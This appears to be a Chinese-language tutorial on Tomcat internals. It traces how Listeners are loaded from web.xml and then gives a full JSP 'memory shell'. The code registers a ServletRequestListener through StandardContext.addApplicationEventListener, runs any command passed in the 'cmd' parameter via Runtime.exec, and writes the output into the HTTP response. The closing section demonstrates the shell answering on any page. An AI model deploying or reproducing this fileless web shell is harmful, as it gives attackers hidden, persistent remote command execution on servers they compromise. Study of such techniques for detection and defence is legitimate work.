Listener基础
配置Listener
.
xml配置
流程分析
读取配置文件
读取web.xml,处理后将信息存储在webXml中
配置context
直接遍历并添加至addApplication中
以上步骤就是将webxml中的listener相关的数据添加到ApplicationListener
接下来直接跟进到listenerStart
获取所有listeners
反射生成了一个testListener对象,及我们自定义的Listener
遍历results中的自定义Listener并添加到eventListeners
将eventListeners中的内容添加到applicationEventListenersList属性中,而后期tomcat使用Listener会从applicationEventListenersList中取出
调用过程
在自定义的Listener的requestDestroyed下断点
可以发现tomcat会自动调用fireRequestDestroyEvent,因此我们进入fireRequestDestroyEvent
这里直接获取applicationEventListenersList属性
遍历applicationEventListenersList并强制转为内容为ServletRequestListener类型
这里直接调用 requestDestroyed方法
对应这自定义的Listener
接下来如何动态添加Listener 在上面分析,tomcat是将web.xml中的信息取出在调用 addApplication,将信息添加至applicationListeners,然后再由listenerStart反射生成实例化的Listener,并在需要调用前调用fireRequestDestroyEvent,在间接调用 requestDestroyed方法,但是分析了过程我们依旧无法主动添加Listener因为applicationListeners接收的是字符串而非一个对象。不过天无绝人之路,StandardContext提供了另一个方法 addApplicationEventListener,可以直接添加一个Lisener对象到applicationEventListenersList
由于ServletRequestEvent至提供了ServletRequest,并没有提供Response,因此需要通过反射获取 Response
内存马
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
Title <%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.io.BufferedInputStream" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%!
public class DemoListener implements ServletRequestListener{
public void requestDestroyed(ServletRequestEvent sre) {
org.apache.catalina.connector.RequestFacade req = (org.apache.catalina.connector.RequestFacade)sre.getServletRequest();
Field requestField = null;
try {
requestField = Class.forName("org.apache.catalina.connector.RequestFacade").getDeclaredField("request");
} catch (NoSuchFieldException e) {
e.printStackTrace();
} catch (ClassNotFoundException e) {
e.printStackTrace();
}
requestField.setAccessible(true);
Request request = null;
try {
request = (Request) requestField.get(req);
} catch (IllegalAccessException e) {
e.printStackTrace();
}
Response response = request.getResponse();
try {
String cmd = request.getParameter("cmd");
InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
BufferedInputStream bis = new BufferedInputStream(is);
int len;
while ((len = bis.read())!=-1){
response.getWriter().write(len);
}
} catch (IOException e) {
e.printStackTrace();
}
}
public void requestInitialized(ServletRequestEvent sre) {
System.out.println("这里是requestInitialized");
}
}
%>
<%
Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext context = (StandardContext) req.getContext();
DemoListener listener = new DemoListener();
context.addApplicationEventListener(listener);
%>
效果展示
随便访问一个页面
在访问我们的内存马网页 这里我由于代码没有判断cmd是否为空,所以必须输入东西才能正常访问,你懂的
再次访问之前不存在的网页